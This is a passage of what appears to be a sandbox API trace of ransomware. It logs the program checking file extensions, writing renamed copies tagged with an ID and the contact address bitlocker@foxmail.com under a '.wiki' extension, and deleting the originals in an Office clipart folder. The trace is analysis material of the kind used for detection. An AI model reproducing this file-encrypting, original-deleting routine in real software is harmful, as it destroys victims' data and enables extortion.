Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0192.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0192.888] lstrlenW (lpString=".doc") returned 4 [0192.888] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.888] lstrlenW (lpString=".docx") returned 5 [0192.888] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0192.888] lstrlenW (lpString=".pdf") returned 4 [0192.888] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.888] lstrlenW (lpString=".xls") returned 4 [0192.888] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.888] lstrlenW (lpString=".xlsx") returned 5 [0192.888] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0192.888] lstrlenW (lpString=".ppt") returned 4 [0192.889] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0192.889] lstrlenW (lpString=".zip") returned 4 [0192.889] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.889] lstrlenW (lpString=".rar") returned 4 [0192.889] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.889] lstrlenW (lpString=".bz2") returned 4 [0192.889] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.889] lstrlenW (lpString=".7z") returned 3 [0192.889] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0192.889] lstrlenW (lpString=".dbf") returned 4 [0192.889] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0192.889] lstrlenW (lpString=".1cd") returned 4 [0192.889] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0192.889] lstrlenW (lpString=".jpg") returned 4 [0192.889] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0192.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0192.889] lstrlenW (lpString=".doc") returned 4 [0192.889] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.889] lstrlenW (lpString=".docx") returned 5 [0192.889] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0192.889] lstrlenW (lpString=".pdf") returned 4 [0192.889] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.889] lstrlenW (lpString=".xls") returned 4 [0192.889] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.890] lstrlenW (lpString=".xlsx") returned 5 [0192.890] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0192.890] lstrlenW (lpString=".ppt") returned 4 [0192.890] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0192.890] lstrlenW (lpString=".zip") returned 4 [0192.890] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.890] lstrlenW (lpString=".rar") returned 4 [0192.890] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.890] lstrlenW (lpString=".bz2") returned 4 [0192.890] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.890] lstrlenW (lpString=".7z") returned 3 [0192.890] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0192.890] lstrlenW (lpString=".dbf") returned 4 [0192.890] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0192.890] lstrlenW (lpString=".1cd") returned 4 [0192.890] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0192.890] lstrlenW (lpString=".jpg") returned 4 [0192.890] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.890] lstrcmpiW (lpString1=".BMP", lpString2=".wiki") returned -1 [0192.890] lstrlenW (lpString="J0101867.BMP") returned 12 [0192.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0192.891] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=32616) returned 1 [0192.891] CloseHandle (hObject=0x1dc) returned 1 [0192.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp")) returned 0x20 [0192.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0192.891] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.891] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0192.892] GetLastError () returned 0x0 [0192.892] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x7f68, lpOverlapped=0x0) returned 1 [0192.911] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7f70, lpOverlapped=0x0) returned 1 [0192.912] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0192.912] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.912] SetEndOfFile (hFile=0x200) returned 1 [0192.913] CloseHandle (hObject=0x200) returned 1 [0192.913] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.913] SetEndOfFile (hFile=0x1dc) returned 1 [0192.914] CloseHandle (hObject=0x1dc) returned 1 [0192.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0192.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0192.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0192.914] lstrlenW (lpString=".doc") returned 4 [0192.914] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.914] lstrlenW (lpString=".docx") returned 5 [0192.914] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0192.914] lstrlenW (lpString=".pdf") returned 4 [0192.914] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.914] lstrlenW (lpString=".xls") returned 4 [0192.914] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.914] lstrlenW (lpString=".xlsx") returned 5 [0192.915] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0192.915] lstrlenW (lpString=".ppt") returned 4 [0192.915] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0192.915] lstrlenW (lpString=".zip") returned 4 [0192.915] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.915] lstrlenW (lpString=".rar") returned 4 [0192.915] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.915] lstrlenW (lpString=".bz2") returned 4 [0192.915] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.915] lstrlenW (lpString=".7z") returned 3 [0192.915] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0192.915] lstrlenW (lpString=".dbf") returned 4 [0192.915] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0192.915] lstrlenW (lpString=".1cd") returned 4 [0192.915] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0192.915] lstrlenW (lpString=".jpg") returned 4 [0192.915] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0192.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0192.915] lstrlenW (lpString=".doc") returned 4 [0192.915] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.915] lstrlenW (lpString=".docx") returned 5 [0192.915] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0192.915] lstrlenW (lpString=".pdf") returned 4 [0192.915] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.915] lstrlenW (lpString=".xls") returned 4 [0192.915] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.916] lstrlenW (lpString=".xlsx") returned 5 [0192.916] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0192.916] lstrlenW (lpString=".ppt") returned 4 [0192.916] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0192.916] lstrlenW (lpString=".zip") returned 4 [0192.916] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.916] lstrlenW (lpString=".rar") returned 4 [0192.916] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.916] lstrlenW (lpString=".bz2") returned 4 [0192.916] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.916] lstrlenW (lpString=".7z") returned 3 [0192.916] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0192.916] lstrlenW (lpString=".dbf") returned 4 [0192.916] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0192.916] lstrlenW (lpString=".1cd") returned 4 [0192.916] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0192.916] lstrlenW (lpString=".jpg") returned 4 [0192.916] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.916] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0192.916] lstrlenW (lpString="J0102594.WMF") returned 12 [0192.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0192.917] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=27000) returned 1 [0192.917] CloseHandle (hObject=0x1dc) returned 1 [0192.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf")) returned 0x20 [0192.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0192.917] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.917] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.006] GetLastError () returned 0x0 [0193.006] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x6978, lpOverlapped=0x0) returned 1 [0193.040] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x6980, lpOverlapped=0x0) returned 1 [0193.041] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.041] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.041] SetEndOfFile (hFile=0x200) returned 1 [0193.042] CloseHandle (hObject=0x200) returned 1 [0193.042] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.042] SetEndOfFile (hFile=0x1dc) returned 1 [0193.042] CloseHandle (hObject=0x1dc) returned 1 [0193.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0193.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0193.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0193.043] lstrlenW (lpString=".doc") returned 4 [0193.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.043] lstrlenW (lpString=".docx") returned 5 [0193.043] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0193.043] lstrlenW (lpString=".pdf") returned 4 [0193.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.043] lstrlenW (lpString=".xls") returned 4 [0193.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.043] lstrlenW (lpString=".xlsx") returned 5 [0193.043] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0193.043] lstrlenW (lpString=".ppt") returned 4 [0193.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0193.043] lstrlenW (lpString=".zip") returned 4 [0193.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.043] lstrlenW (lpString=".rar") returned 4 [0193.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.043] lstrlenW (lpString=".bz2") returned 4 [0193.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.044] lstrlenW (lpString=".7z") returned 3 [0193.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0193.044] lstrlenW (lpString=".dbf") returned 4 [0193.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0193.044] lstrlenW (lpString=".1cd") returned 4 [0193.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0193.044] lstrlenW (lpString=".jpg") returned 4 [0193.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0193.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0193.044] lstrlenW (lpString=".doc") returned 4 [0193.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.044] lstrlenW (lpString=".docx") returned 5 [0193.044] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0193.044] lstrlenW (lpString=".pdf") returned 4 [0193.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.044] lstrlenW (lpString=".xls") returned 4 [0193.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.044] lstrlenW (lpString=".xlsx") returned 5 [0193.044] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0193.044] lstrlenW (lpString=".ppt") returned 4 [0193.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0193.044] lstrlenW (lpString=".zip") returned 4 [0193.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.044] lstrlenW (lpString=".rar") returned 4 [0193.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.044] lstrlenW (lpString=".bz2") returned 4 [0193.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.045] lstrlenW (lpString=".7z") returned 3 [0193.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0193.045] lstrlenW (lpString=".dbf") returned 4 [0193.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0193.045] lstrlenW (lpString=".1cd") returned 4 [0193.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0193.045] lstrlenW (lpString=".jpg") returned 4 [0193.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.045] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.045] lstrlenW (lpString="J0105232.WMF") returned 12 [0193.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.046] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=5632) returned 1 [0193.046] CloseHandle (hObject=0x1dc) returned 1 [0193.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf")) returned 0x20 [0193.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.046] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.046] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.046] GetLastError () returned 0x0 [0193.046] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1600, lpOverlapped=0x0) returned 1 [0193.048] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1610, lpOverlapped=0x0) returned 1 [0193.049] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.049] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.049] SetEndOfFile (hFile=0x200) returned 1 [0193.049] CloseHandle (hObject=0x200) returned 1 [0193.049] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.049] SetEndOfFile (hFile=0x1dc) returned 1 [0193.050] CloseHandle (hObject=0x1dc) returned 1 [0193.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0193.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0193.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0193.050] lstrlenW (lpString=".doc") returned 4 [0193.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.050] lstrlenW (lpString=".docx") returned 5 [0193.050] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.051] lstrlenW (lpString=".pdf") returned 4 [0193.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.051] lstrlenW (lpString=".xls") returned 4 [0193.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.051] lstrlenW (lpString=".xlsx") returned 5 [0193.051] lstrcmpiW 